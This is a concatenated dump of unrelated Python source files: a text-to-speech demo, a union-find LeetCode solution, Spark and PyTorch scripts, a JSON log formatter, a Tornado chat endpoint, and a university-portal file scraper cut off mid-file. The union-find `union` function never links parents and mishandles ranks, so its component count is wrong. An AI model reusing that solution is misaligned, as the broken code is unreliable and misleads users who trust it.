import finfo\nimport text_tacotron\n\nMAX_WAV_VALUE = 32768.0\n\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nclass T2S:\n def __init__(self, model, vocoder):\n self.model = model\n self.vocoder = vocoder\n self.hparams = hparams\n self.hparams.sampling_rate = 22050\n self.g2p = G2p(hparams.dict_path)\n\n\n self.temp_audio = np.zeros(int(0.45 * 22050))\n self.temp_sub_audio = np.zeros(int(0.25 * 22050))\n\n\n # load Weight Waveglow\n self.waveglow_path = self.hparams.waveglow_path\n if os.path.exists(self.waveglow_path):\n waveglow = torch.load(self.waveglow_path, map_location=device)['model']\n else:\n waveglow = torch.hub.load(\n 'nvidia/DeepLearningExamples:torchhub', 'nvidia_waveglow')\n waveglow = waveglow.remove_weightnorm(waveglow)\n\n if torch.cuda.is_available():\n waveglow.eval().half()\n else:\n waveglow.eval()\n\n for m in waveglow.modules():\n if 'Conv' in str(type(m)):\n setattr(m, 'padding_mode', 'zeros')\n\n for k in waveglow.convinv:\n k.float()\n\n self.waveglow = waveglow\n\n # load Weight HifiGan\n # h = None\n # with open(os.path.join(hparams.hifi_root_path, 'config.json')) as f:\n # data = f.read()\n # json_config = json.loads(data)\n # h = AttrDict(json_config)\n\n # self.generator = Generator(h).to(device)\n # state_dict_g = torch.load(os.path.join(hparams.hifi_root_path, 'generator'), map_location=device)\n # self.generator.load_state_dict(state_dict_g['generator'])\n # self.generator.eval()\n # self.generator.remove_weight_norm()\n self.generator = None\n\n self.denoiser = Denoiser(waveglow)\n\n\n # load FastSpeech2\n # self.model_fs2 = self.load_fastspeech2(120000).to(device)\n self.model_fs2 = self.load_fastspeech2().to(device)\n\n # load Tacotron2\n self.model_tacotron2 = self.load_tacotron2().to(device)\n\n def load_tacotron2(self):\n hparams = hp_tacotron2.create_hparams()\n hparams.sampling_rate = 22050\n model = Tacotron2(hparams).to(device)\n\n checkpoint_path = os.path.join(self.hparams.tacotron2_cp_path)\n\n # model = Tacotron2(hparams).cpu()\n if hparams.fp16_run:\n model.decoder.attention_layer.score_mask_value = finfo('float16').min\n\n if hparams.distributed_run:\n model = apply_gradient_allreduce(model)\n\n model.load_state_dict(torch.load(checkpoint_path, map_location=device)[\"state_dict\"])\n return model.to(device).eval()\n\n def normalize(self, text):\n dem = 5\n url = 'http://10.30.132.76:9928/preProcessingApi/get-text'\n rs = None\n while dem > 0:\n dem -= 1\n try:\n with requests.post(url, json={\"sentence\": text}, timeout=100) as response:\n if response.status_code != 200:\n print(\"FAILURE::{0}\".format(url))\n return {}\n rs = response.json()\n break\n except:\n rs = None\n print('\\t\\tReconnect lan %d' % (20 - dem))\n if rs is None:\n return text\n return rs['new_sentence']\n\n\n def preprocess(self, text, use_phone=False):\n text = text.rstrip(punctuation).lower()\n if use_phone:\n phone = self.g2p.g2p(text)\n phone = '{' + '}{'.join(phone.split()) + '}'\n phone = re.sub(r'\\{[^\\w\\s]?\\}', '{sp}', phone)\n phone = phone.replace('}{', ' ')\n else:\n # phone = text\n phone = 'z'.join(text.split())\n sequence = np.array(text_fs2.text_to_sequence(phone, hparams.text_cleaners))\n sequence = np.stack([sequence])\n return torch.from_numpy(sequence).long().to(device)\n \n def load_fastspeech2(self):\n checkpoint_path = os.path.join(self.hparams.fastspeech2_cp_path)\n model = nn.DataParallel(FastSpeech2())\n model.load_state_dict(torch.load(checkpoint_path, map_location=device)['model'])\n model.requires_grad = False\n return model.to(device).eval()\n\n def save_audio(self, wav, path):\n audio = IPython.display.Audio(wav, rate=hparams.sampling_rate)\n audio = AudioSegment(audio.data, frame_rate=hparams.sampling_rate, sample_width=2, channels=1)\n audio.export(path, format=\"wav\")\n\n def waveglow_infer(self, mel, sig=1.0, strength=0.01):\n with torch.no_grad():\n if torch.cuda.is_available():\n wav = self.waveglow.infer(mel.half(), sigma=sig)\n else:\n wav = self.waveglow.infer(mel, sigma=sig)\n # print(wav[0].cpu().numpy().shape)\n wav = self.denoiser(wav, strength=strength)[:, 0]\n # print(wav.shape)\n\n return wav[0].cpu().numpy()\n\n def hifigan_infer(self, mel, strength=0.01):\n with torch.no_grad():\n if torch.cuda.is_available():\n wav = self.generator(mel)\n else:\n wav = self.generator(mel)\n # print(wav.cpu().numpy().reshape(-1).shape)\n wav = self.denoiser(wav.reshape(1, -1), strength=strength)[:, 0]\n # print(wav.shape)\n\n return wav.cpu().numpy().reshape(-1)\n\n def pts(self, para, list_time, dict_input):\n sentence_ls = para.split(\".\")\n audio = np.zeros(int(0.1 * 22050))\n begin = False\n\n for idx in range(len(sentence_ls)):\n sen = sentence_ls[idx]\n if sen != '' and sen != ' ':\n sub_stn_ls = re.split(\",|;|:\", sen)\n begin_sub = False\n audio_sub = np.zeros(int(0.1 * 22050))\n # print(audio_sub.shape)\n for idx_sub in range(len(sub_stn_ls)):\n sub_stn = sub_stn_ls[idx_sub]\n if sub_stn != '' and sub_stn != ' ':\n audio_, times = self.inference_audio(sub_stn, dict_input)\n # print(audio_.shape)\n list_time['preprocess'] += times[0]\n list_time['model_inference'] += times[1]\n list_time['vocoder_inference'] += times[2]\n if begin_sub == False:\n audio_sub = audio_\n begin_sub = True\n else:\n audio_sub = np.concatenate((audio_sub, self.temp_sub_audio), axis=0)\n audio_sub = np.concatenate((audio_sub, audio_), axis=0)\n if begin == False:\n audio = audio_sub\n begin = True\n else:\n audio = np.concatenate((audio, self.temp_audio), axis=0)\n audio = np.concatenate((audio, audio_sub), axis=0)\n return audio\n\n def tts(self, dict_input, filename=None):\n vocoder = dict_input['vocoder']\n model = dict_input['model']\n raw_text = dict_input['text']\n # print(dict_input)\n\n list_time = {\n 'normalize': 0,\n 'preprocess': 0,\n 'model_inference': 0,\n 'vocoder_inference': 0,\n }\n t = time()\n text = self.normalize(raw_text)\n #text = raw_text\n t0 = time()\n list_time['normalize'] = t0 - t\n # print(list_time['normalize'], 'for normalize')\n if filename is None:\n filename = 'samples'\n audio_path = f\"{filename}.wav\"\n save_path = os.path.join('wavs', audio_path)\n audio = self.pts(text, list_time, dict_input)\n # print(\"audio saved at: {}\".format(save_path))\n self.save_audio(audio, save_path)\n\n return audio_path, ['Raw Text Input:',\n '%s' % raw_text,\n 'Normalize text time: %0.3f (s)' % list_time['normalize'],\n 'Preprocessing text time: %0.3f (s)' % list_time['preprocess'],\n 'Model %s inference time: %0.3f (s)' % (model, list_time['model_inference']),\n 'Vocoder %s inference time: %0.3f (s)' % (vocoder, list_time['vocoder_inference']),\n 'Total time: %0.3f (s)' % (time() - t)]\n\n\n def inference_audio(self, text, dict_input):\n vocoder = dict_input['vocoder']\n model = dict_input['model']\n # text = dict_input['text']\n d = float(dict_input['d'])\n p = float(dict_input['p'])\n e = float(dict_input['e'])\n sig = float(dict_input['sig'])\n strength = float(dict_input['strength'])\n #print('=============\\n\\t', text)\n t0 = time()\n list_time = []\n sequence = None\n if model == 'fastspeech2':\n sequence = self.preprocess(text, use_phone=False)\n elif model == 'tacotron2':\n text = (text.strip() + ' .').replace(', .', ' .')\n text = re.sub(' +', ' ', text)\n sequence = np.array(text_tacotron.text_to_sequence(text, ['basic_cleaners']))[None, :]\n sequence = torch.autograd.Variable(\n torch.from_numpy(sequence).to(device)).long()\n\n t1 = time()\n #print(t1 - t0, '(s) for preprocess')\n list_time.append(t1 - t0)\n\n mel_postnet = None\n if model == 'fastspeech2':\n src_len = torch.from_numpy(np.array([sequence.shape[1]])).to(device)\n mel, mel_postnet, log_duration_output, f0_output, energy_output, _, _, mel_len = self.model_fs2(\n sequence, src_len, d_control=d, p_control=p, e_control=e)\n mel_postnet = mel_postnet.to(device).transpose(1, 2).detach()\n elif model == 'tacotron2':\n mel, mel_postnet, _, alignment = self.model_tacotron2.inference(sequence)\n\n t2 = time()\n #print(t2 - t1, f'(s) for {model} inference')\n list_time.append(t2 - t1)\n\n audio = None\n #print(vocoder)\n if vocoder == 'waveglow':\n audio = self.waveglow_infer(mel_postnet, sig=sig, strength=strength)\n elif vocoder == 'hifigan':\n audio = self.hifigan_infer(mel_postnet, strength=strength)\n t3 = time()\n # print(t3 - t2, f'(s) for {vocoder} inference')\n list_time.append(t3 - t2)\n\n return audio, list_time\n \n \n\n","repo_name":"CrazyPlaysHD/tts-web-demo","sub_path":"text2speech.py","file_name":"text2speech.py","file_ext":"py","file_size_in_byte":11111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"11870166440","text":"class Solution:\n def countComponents(self, n: int, edges: List[List[int]]) -> int:\n pars = [i for i in range(n) ] \n rank = [1] * n\n\n def find(n1):\n res = n1\n\n while res != pars[res]:\n pars[res] = pars[pars[res]] # path compression ( for optimization)\n res = pars[res]\n return res\n\n def union(n1, n2):\n p1, p2 = find(n1), find(n2)\n\n if p1 == p2: \n return 0\n \n if rank[p2] > rank[p1]:\n rank[p1] = rank[p2]\n rank[p2] += rank[p1]\n else:\n rank[p2] = rank[p1]\n rank[p1] += rank[p2]\n\n return 1\n\n res = n\n\n for e1, e2 in edges:\n res -= union(e1,e2)\n return res\n\n\n\n \n","repo_name":"EricDang261/Leetcode","sub_path":"number-of-connected-components-in-an-undirected-graph/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"41835663744","text":"from pyspark import SparkConf, SparkContext\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"WordCount\")\nsc = SparkContext(conf = conf)\n\ninput = sc.textFile(\"book.txt\")\n\n# Split each by white space into one word per line\nwords = input.flatMap(lambda x: x.split())\n\n# Count the occurences of each individual word\nwordCounts = words.countByValue()\n\n# Convert from unicode to ascii and print the word and count \n# and ignore conversion errors\nfor word, count in wordCounts.items():\n cleanWord = word.encode('ascii', 'ignore')\n if (cleanWord):\n print(cleanWord.decode() + \" \" + str(count))\n\n\n","repo_name":"mjatcars/SparkCourse","sub_path":"Sec2-Spark-Basics-and-Simple-Examples/word-count-FLATMAP.py","file_name":"word-count-FLATMAP.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4765494747","text":"import torch\nfrom torch.profiler import profile, record_function, ProfilerActivity\nfrom torchvision import datasets, transforms\nfrom torchsummary import summary\n\nimport tracemalloc\n\nfrom src.model.binary_cnn import BinaryCNN\nfrom src.model.cnn import CNN\nfrom src.model.fc import BinaryFC, FC\n\n# model = BinaryFC()\n# model = BinaryCNN()\n# model = FC()\nmodel = CNN()\n\nsummary(model, (28, 28, 1))\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\ncheckpoint = torch.load(\"checkpoint/\" + model._get_name() + \".pth\", map_location=device)\nstate_dict = checkpoint['net']\nmodel.load_state_dict(state_dict, strict=False)\n\nmodel.eval()\n\ntrain_loader = torch.utils.data.DataLoader(\n datasets.MNIST('./data', train=True, download=True,\n transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])),\n batch_size=64, shuffle=True)\n\ndataiter = iter(train_loader)\ninputs, targets = dataiter.next()\n\nwith profile(activities=[ProfilerActivity.CPU], profile_memory=True, record_shapes=True) as prof:\n with record_function(\"model_inference\"):\n tracemalloc.start()\n model(inputs)\n current, peak = tracemalloc.get_traced_memory()\n tracemalloc.stop()\n\nprint(prof.key_averages().table())\nprint(f\"{current:0.2f}, {peak:0.2f}\")\n\n# 14403.00, 29252.00\n# 14483.00, 29331.00\n# 463114.00, 476873.00\n# 462784.00, 476743.00\n","repo_name":"ManhPP/BNN","sub_path":"profiler.py","file_name":"profiler.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37038869367","text":"import json\nfrom datetime import date, datetime\nfrom decimal import Decimal\nfrom logging import Filter, Formatter\n\n\nclass RequestEdgeEndFilter(Filter):\n def filter(self, record):\n from .context_managers import RequestEdge\n\n if not getattr(record, \"smart\", False):\n # non-smart logs always get recorded\n return True\n\n # Smart logs only get recorded on END\n return record.edge == RequestEdge.END\n\n\nclass ObjectTypeEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, set):\n return {\n # sort values to make reading logs easier as a user\n \"value\": sorted(obj),\n \"type\": \"set\",\n }\n\n if isinstance(obj, datetime):\n return {\n \"value\": str(obj),\n \"type\": \"datetime\",\n }\n\n if isinstance(obj, date):\n return {\n \"value\": str(obj),\n \"type\": \"date\",\n }\n\n if isinstance(obj, Decimal):\n return {\n \"value\": str(obj),\n \"type\": \"Decimal\",\n }\n\n return super().default(obj)\n\n\nclass JsonFormatter(Formatter):\n def __init__(self, *args, **kwargs):\n self.default_extra = kwargs.pop(\"default_extra\", {})\n super().__init__(*args, **kwargs)\n\n def format(self, record):\n from .config import config\n\n # Normal tracing stuff\n log_data = {\n \"timestamp\": self.formatTime(record),\n **self.default_extra,\n \"filename\": record.filename,\n \"funcName\": record.funcName,\n \"levelname\": record.levelname,\n \"levelno\": record.levelno,\n \"lineno\": record.lineno,\n \"module\": record.module,\n \"loggerName\": record.name,\n }\n\n if getattr(record, \"smart\", False):\n log_data.update(\n {\n # Custom Fields\n \"start_time\": getattr(record, \"start_time\", \"\"),\n \"end_time\": getattr(record, \"end_time\", \"\"),\n \"response_time_ms\": getattr(record, \"response_time_ms\", \"\"),\n \"request\": record.request,\n \"response\": getattr(record, \"response\", None),\n \"notes\": getattr(record, \"notes\", None),\n }\n )\n\n # Always fields\n log_data.update(\n {\n \"msg\": super().format(record),\n **getattr(record, \"extra\", {}),\n }\n )\n\n resp = json.dumps(log_data, cls=ObjectTypeEncoder)\n if config.MAX_JSON_DATA_TO_LOG and len(resp) > config.MAX_JSON_DATA_TO_LOG:\n log_data[\"max_data_exceeded\"] = True\n truncate_length = config.MAX_JSON_DATA_TO_LOG - 50\n response_obj = log_data.get(\"response\")\n if response_obj and truncate_length > 0:\n response_data = str(response_obj.get(\"data\", \"\"))\n if len(response_data) > truncate_length:\n # Update mutatable resonse_obj inside mutatable log_data\n response_obj[\"data\"] = (\n response_data[:truncate_length] + \" **TRUNCATED**\"\n )\n\n resp = json.dumps(log_data, cls=ObjectTypeEncoder)\n\n return resp\n\n\nclass SmartFormatter(Formatter):\n def limited_size_repr(self, data, length):\n data = repr(data)\n if len(data) > length:\n data = data[:length] + \"...\"\n return data\n\n def format(self, record):\n from .context_managers import RequestDirection, RequestEdge\n\n log_msg = [super().format(record)]\n\n if not getattr(record, \"smart\", False):\n return log_msg[0]\n\n if (\n record.edge == RequestEdge.START\n and record.direction == RequestDirection.OUTGOING\n ):\n pass\n else:\n from .config import config\n\n req = record.request\n\n data = req.get(\"data\")\n if data is not None:\n data = self.limited_size_repr(data, config.MAX_VERBOSE_OUTPUT_LENGTH)\n log_msg.append(f\" Request Data: {data}\")\n\n headers = req.get(\"headers\")\n if headers is not None:\n headers = self.limited_size_repr(\n headers, config.MAX_VERBOSE_OUTPUT_LENGTH\n )\n log_msg.append(f\" Request Headers: {headers}\")\n\n resp = getattr(record, \"response\", None)\n if resp is not None:\n data = resp.get(\"data\")\n if data is None:\n data = \"(empty)\"\n else:\n data = self.limited_size_repr(\n data, config.MAX_VERBOSE_OUTPUT_LENGTH\n )\n log_msg.append(f\" Response Data: {data}\")\n\n log_msg.append(\"\\n\")\n\n return \"\\n\".join(log_msg)\n","repo_name":"JBSinc/boston-logger","sub_path":"boston_logger/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":5002,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"37168607976","text":"import logging\nimport sys\nimport argparse\n# import tempfile\nimport os\nimport glob\n\nimport torch\nfrom torchvision import transforms as tfs\nimport mlflow\nimport numpy as np\nimport pytorch_lightning as pl\n\n# from torch.utils.data import DataLoader\n# from torch.utils.data.dataset import random_split\nfrom histocartography.image.VorHoVerNet.dataset import data_reader, CoNSeP_cropped, AugmentedDataset, dataset_numpy_to_tensor\n# from brontes import Brontes\n# from pl_net import plNet\nfrom histocartography.image.VorHoVerNet.cus_brontes import CusBrontes\nfrom histocartography.image.VorHoVerNet.model.vorhover_net import Net, CustomLoss\n\n# setup logging\n# logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\nlog = logging.getLogger('Histocartography::Training')\nh1 = logging.StreamHandler(sys.stdout)\nlog.setLevel(logging.INFO)\nformatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n)\nh1.setFormatter(formatter)\nlog.addHandler(h1)\n\n# parse parameters\nparser = argparse.ArgumentParser()\nparser.add_argument(\n '-d', '--data_path', type=str, default='data/',\n help='path to data (default: data/)'\n)\nparser.add_argument(\n '-t', '--dataset', type=str, default='CoNSeP/', \n help='dataset name (may include more than one directory)'\n)\nparser.add_argument(\n '-i', '--iteration', type=int, default=0, \n help='dataset iteration (default=0)'\n)\nparser.add_argument(\n '-v', '--version', type=int, default=0, \n help='dataset version (default=0)'\n)\nparser.add_argument(\n '--bucket', type=str, default='test-data', \n help='s3 bucket'\n)\nparser.add_argument(\n '-p', '--number_of_workers', type=int, default='1', \n help='number of workers (default: 1)'\n)\nparser.add_argument(\n '-n', '--model_name', type=str, default='model', \n help='model name (default: model)'\n)\nparser.add_argument(\n '--output_root', type=str, default='./',\n help='output root path (default: ./)'\n)\nparser.add_argument(\n '--batch_size', type=int, default=16, metavar='N', \n help='input batch size for training (default: 16)'\n)\nparser.add_argument(\n '--test_batch_size', type=int, default=16, metavar='N',\n help='input batch size for testing (default: 16)'\n)\nparser.add_argument(\n '--epochs', type=int, default=10, metavar='N',\n help='number of epochs to train (default: 10)'\n)\nparser.add_argument(\n '--lr', type=float, default=1e-4, metavar='LR',\n help='learning rate (default: {})'.format(1e-4)\n)\nparser.add_argument(\n '--log_interval', type=int, default=10, metavar='N', \n help='how many batches to wait before logging training status'\n)\nparser.add_argument(\n '--early_stop_patience', type=int, default=5, metavar='N', \n help='how many times to wait before early stop (default: 5)'\n)\nparser.add_argument(\n '--early_stop_monitor', type=str, default='val_loss', metavar='N', \n help='criterion monitor for early stopping (default: val_loss)'\n)\n# parser.add_argument('--mlflow_log', type=str, default='True',\n# help='whether use mlflow as logger')\n# parser.add_argument('--inference_mode', type=bool, default=True, metavar='N', \n# help='save results of inference (default: True)')\n# parser.add_argument('--vdir', type=str, default='train', \n# help='dir name of visualization images')\n\ndef main(args):\n \"\"\"\n Train with pytorch_lightning\n\n Args:\n args (Namespace): parsed arguments\n \"\"\"\n # load parameters from parser\n DATA_PATH = args.data_path\n BUCKET = args.bucket\n DATASET = args.dataset\n ITERATION = args.iteration\n VERSION = args.version\n NUMBER_OF_WORKERS = args.number_of_workers\n MODEL_NAME = args.model_name\n BATCH_SIZE = args.batch_size\n TEST_BATCH_SIZE = args.test_batch_size\n EPOCHS = args.epochs\n LEARNING_RATE = args.lr\n LOG_INTERVAL = args.log_interval\n EARLY_STOP_PATIENCE = args.early_stop_patience\n EARLY_STOP_MONITOR = args.early_stop_monitor\n OUTPUT_ROOT = f'{args.output_root}/{args.model_name}'\n\n # EXPERIMENT_NAME = f'{MODEL_NAME}_iter{ITERATION:02d}'\n # INFERENCE_MODE = True if NUMBER_OF_WORKERS == 1 else False\n INFERENCE_MODE = True\n\n # TODO: whether these args are needed\n VERBOSE = True\n\n # make sure data folder exists\n os.makedirs(DATA_PATH, exist_ok=True)\n\n \"\"\"\n # data loaders for the GLEASON 2019 dataset\n utils.download_s3_dataset(\n utils.get_s3(), BUCKET, DATASET, DATA_PATH\n )\n # Get a list of all images\n all_img_files = glob.glob(\n os.path.join(DATA_PATH, DATASET, 'Train Imgs', '*.jpg')\n )\n label_image_pairs = {}\n for filename in all_img_files:\n slide, core = os.path.splitext(os.path.basename(filename)\n )[0].split('_')\n corresponding_img = f'{slide}_{core}.jpg'\n label_image_pairs[f'{slide}_{core}_classimg_nonconvex.png'\n ] = os.path.join(\n DATA_PATH, DATASET, 'Train Imgs',\n corresponding_img\n )\n\n # Choose a set of annotations\n annotation_subpath = 'Maps*'\n label_folder = np.random.choice(\n glob.glob(f'{os.path.join(DATA_PATH,DATASET, annotation_subpath)}')\n )\n label_folder_content = glob.glob(os.path.join(label_folder, '*.png'))\n\n # Find the names of the annotation files if\n # label_image_pairs[os.path.basename(label_file)]\n pairs = [\n (label_file, label_image_pairs.get(os.path.basename(label_file)))\n for label_file in label_folder_content\n if os.path.basename(label_file) in label_image_pairs\n ]\n log.debug(pairs)\n \"\"\"\n\n # augmentation\n # TODO: original mask at bigger size so that it can be cropped into disired size after rotation\n # augs_both = tfs.Compose([\n # tfs.ToPILImage(),\n # tfs.RandomHorizontalFlip(), \n # tfs.RandomVerticalFlip(),\n # tfs.RandomRotation(45)\n # ])\n\n # augs_both = tfs.Compose([\n # tfs.ToPILImage(),\n # tfs.RandomHorizontalFlip(),\n # tfs.RandomRotation(45, fill=1.0)\n # ])\n\n# augs_image = tfs.Compose([\n# tfs.ToPILImage(),\n# tfs.ColorJitter(brightness=0.1, contrast=0.1, hue=0.1),\n# ])\n\n # prepare data_loaders\n train_idx = [i for i in range(1, 28) if i not in (2, 4, 12, 15)]\n train_dataset = CoNSeP_cropped(*data_reader(root=f'{DATA_PATH}/{DATASET}', split='train', ver=VERSION, itr=ITERATION, doflip=True, contain_both=True, part=train_idx))\n num_train = int(len(train_dataset) * 0.8)\n num_valid = len(train_dataset) - num_train\n train_data, valid_data = torch.utils.data.dataset.random_split(train_dataset, [num_train, num_valid])\n # train_data = AugmentedDataset(dataset=train_data, transform=augs_both, target_transform=augs_both)\n# train_data = AugmentedDataset(dataset=train_data, transform=augs_image, target_transform=None)\n dataset_loaders = {\n 'train': torch.utils.data.DataLoader(train_data, batch_size=BATCH_SIZE, shuffle=True, num_workers=NUMBER_OF_WORKERS), \n 'val': torch.utils.data.DataLoader(valid_data, batch_size=BATCH_SIZE, shuffle=True, num_workers=NUMBER_OF_WORKERS)\n }\n\n inf_batch_train = dataset_numpy_to_tensor(train_data, batch_size=BATCH_SIZE)\n inf_batch_valid = dataset_numpy_to_tensor(valid_data, batch_size=BATCH_SIZE)\n\n # define model and optimizer\n model = Net(batch_size=BATCH_SIZE)\n\n optimizer = torch.optim.Adam(model.parameters(), lr=LEARNING_RATE)\n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=5, gamma=0.8)\n\n cbrontes_model = CusBrontes(\n model=model,\n loss=CustomLoss(),\n data_loaders=dataset_loaders, \n optimizer=optimizer, \n lr_scheduler=lr_scheduler,\n metrics=None,\n training_log_interval=LOG_INTERVAL,\n tracker_type='mlflow',\n visualize=INFERENCE_MODE,\n inf_batches=[inf_batch_train, inf_batch_valid],\n model_name=MODEL_NAME,\n output_root=OUTPUT_ROOT,\n num_gpus=NUMBER_OF_WORKERS\n )\n\n from pytorch_lightning.callbacks import ModelCheckpoint\n checkpoint_callback = ModelCheckpoint(\n filepath=f'{OUTPUT_ROOT}/checkpoints/{MODEL_NAME}',\n save_top_k=1,\n verbose=VERBOSE,\n monitor=EARLY_STOP_MONITOR,\n mode='min',\n prefix=MODEL_NAME\n )\n \n from pytorch_lightning.callbacks import EarlyStopping\n early_stop_callback = EarlyStopping(\n monitor=EARLY_STOP_MONITOR,\n min_delta=0.001,\n patience=EARLY_STOP_PATIENCE,\n verbose=VERBOSE,\n mode='min'\n )\n \n try:\n if torch.cuda.is_available():\n print('early_stop_minitor: {}'.format(EARLY_STOP_MONITOR))\n print('early_stop_patience: {}'.format(EARLY_STOP_PATIENCE))\n # print('EPOCHS:', EPOCHS, [i for i in range(NUMBER_OF_WORKERS)])\n print()\n trainer = pl.Trainer(\n accumulate_grad_batches=4, gpus=[i for i in range(NUMBER_OF_WORKERS)], \n default_save_path=f'{OUTPUT_ROOT}/pl_logs',\n checkpoint_callback=checkpoint_callback, early_stop_callback=early_stop_callback,\n distributed_backend='dp',\n train_percent_check=1.0, val_percent_check=1.0)\n # , val_check_interval=0.25\n else:\n trainer = pl.Trainer(\n accumulate_grad_batches=4,\n checkpoint_callback=checkpoint_callback, early_stop_callback=early_stop_callback,\n distributed_backend='dp')\n trainer.fit(cbrontes_model)\n except KeyboardInterrupt:\n MODEL_NAME += '_ki'\n \n # log artifacts\n cbrontes_model.log_via_mlflow()\n\n # # save model\n # SAVER_PATH = 'saver_pl/'\n # MODEL_NAME = MODEL_NAME + '_epoch_{}.ckpt'.format(plmodel.current_epoch)\n # os.makedirs(SAVER_PATH, exist_ok=True)\n # saved_model = SAVER_PATH + MODEL_NAME\n # # torch.save({'state_dict': plmodel.state_dict()}, saved_model)\n # state_dict = {\n # 'epoch': plmodel.current_epoch,\n # 'state_dict': plmodel.state_dict()\n # }\n # torch.save(state_dict, saved_model)\n # # mlflow.log_artifact(save_model)\n # print('{} saved.'.format(saved_model))\n\nif __name__ == \"__main__\":\n main(args=parser.parse_args())\n # python train_pl.py -n model_009 --batch_size 12 --epochs 100 --early_stop_patience 10\n","repo_name":"histocartography/ninepins","sub_path":"experiments/VorHoVerNet_training/train_mlflow.py","file_name":"train_mlflow.py","file_ext":"py","file_size_in_byte":10428,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"21264270807","text":"from tornado.web import RequestHandler, asynchronous\nfrom tornado.gen import coroutine\nfrom controllers.decorators import is_authenticated\nfrom models import Chats, Messages\nfrom json import dumps, loads\n\n\nclass ChatsApi(RequestHandler):\n\n\n @is_authenticated\n @asynchronous\n @coroutine\n def post(self):\n body = loads(self.request.body.decode('utf-8'))\n members = [\n str(self.current_user['_id']),\n body['member_id']\n ]\n\n chat = yield Chats.get_chat_by_members(members)\n\n if not chat:\n chat = yield Chats.insert({\n 'conversation': False,\n 'members': members,\n 'title': ''\n })\n\n chat['_id'] = str(chat['_id'])\n\n messages = yield Messages.get_chat_messages(10, 0, chat['_id'])\n\n current_user = self.current_user\n\n self.write(dumps({'chat_id': chat['_id'], 'messages': messages, 'current_user': current_user}))\n","repo_name":"Dalas/TornadoSocketsExample","sub_path":"controllers/api/ChatsApi.py","file_name":"ChatsApi.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"2220004327","text":"import requests\nimport bs4\nimport getpass\nimport os\n\n\ndef login(s):\n\n '''Get username'''\n username = input(\"username: \")\n '''Get password with getpass module, cuz muh privacy'''\n password = getpass.getpass(\"pass: \")\n\n '''Try to get main page of ninova'''\n r = s.get('http://ninova.itu.edu.tr/kampus')\n\n '''Parse the returned page with bs4'''\n forms = bs4.BeautifulSoup(r.text, 'html.parser').findAll('input')\n\n '''Fill POST data'''\n data = {}\n for form in forms:\n if 'value' in form.attrs:\n data[form['name']] = form['value']\n else:\n data[form['name']] = \"\"\n data['__EVENTTARGET'] = ''\n data['__EVENTARGUMENT'] = ''\n data['ctl00$ContentPlaceHolder1$tbUserName'] = username,\n data['ctl00$ContentPlaceHolder1$tbPassword'] = password,\n\n '''Login and return'''\n return s.post(r.url, data=data)\n\n\ndef getPage(session, url):\n\n '''GET the url'''\n kampusPage = session.get(url)\n print(kampusPage.url)\n\n '''Return parsed data'''\n return bs4.BeautifulSoup(kampusPage.text, 'html.parser')\n\n\ndef getLinks(soup, filterString):\n\n '''Fill the list with relevant links'''\n tags = []\n for line in soup.find_all('a'):\n '''Only links with filterString in them'''\n if filterString in str(line):\n tags.append(line)\n\n '''Return the list of tags'''\n return tags\n\n\ndef saveFile(r, name):\n\n '''Save the content of response to file \"name\"'''\n f = open(name, 'wb')\n f.write(r.content)\n f.close()\n\n\ndef mkdir(classTag):\n\n '''Get cwd'''\n root = os.getcwd()\n\n name = classTag.findPrevious('span').text\n\n '''Try creating a new folder'''\n try:\n os.mkdir(name)\n\n except FileExistsError:\n '''If folder exists, create a new one'''\n print('Folder already exists \"'+name+'\"')\n name = name+' (dup)'\n os.mkdir(name)\n\n os.chdir(name)\n\n '''Create the necessary subfolders'''\n os.mkdir('dersDosyalari')\n os.mkdir('sinifDosyalari')\n\n '''Go back'''\n os.chdir(root)\n\n return name\n\n\ndef capturePage(session, resourceTagList):\n\n '''Iterate through tags'''\n for tag in resourceTagList:\n\n '''Check for the icon, if it is a folder, create the subfolder,\n and enter, then call capturePage for the subfolder page'''\n if tag.findPrevious('img')['src'] == '/images/ds/folder.png':\n\n '''Get root directory'''\n root = os.getcwd()\n\n os.mkdir(tag.text)\n os.chdir(tag.text)\n\n soup = getPage(session, url+tag['href'])\n links = getLinks(soup, 'Dosyalari?g')\n\n capturePage(session, links)\n\n '''Go back when done'''\n os.chdir(root)\n\n elif tag.findPrevious('img')['src'] == '/images/ds/link.png':\n '''If the icon is a link, dont touch it'''\n continue\n\n else:\n '''Download the rest'''\n r = session.get(url+tag['href'])\n f = open(tag.text, 'wb')\n f.write(r.content)\n f.close()\n\n\ndef captureClass(session, classTag):\n\n '''Get root directory'''\n root = os.getcwd()\n\n '''Create class folder'''\n name = mkdir(link)\n os.chdir(name)\n\n '''GET and capture lecture files'''\n pageSoup = getPage(s, url+link['href']+'/DersDosyalari')\n links = getLinks(pageSoup, 'DersDosyalari?')\n os.chdir('dersDosyalari')\n capturePage(session, links)\n os.chdir('..')\n\n '''GET and capture class files'''\n pageSoup = getPage(s, url+link['href']+'/SinifDosyalari')\n links = getLinks(pageSoup, 'SinifDosyalari?')\n os.chdir('sinifDosyalari')\n capturePage(session, links)\n\n '''Go back to root when done'''\n os.chdir(root)\n\n\n'''Base URL'''\nurl = 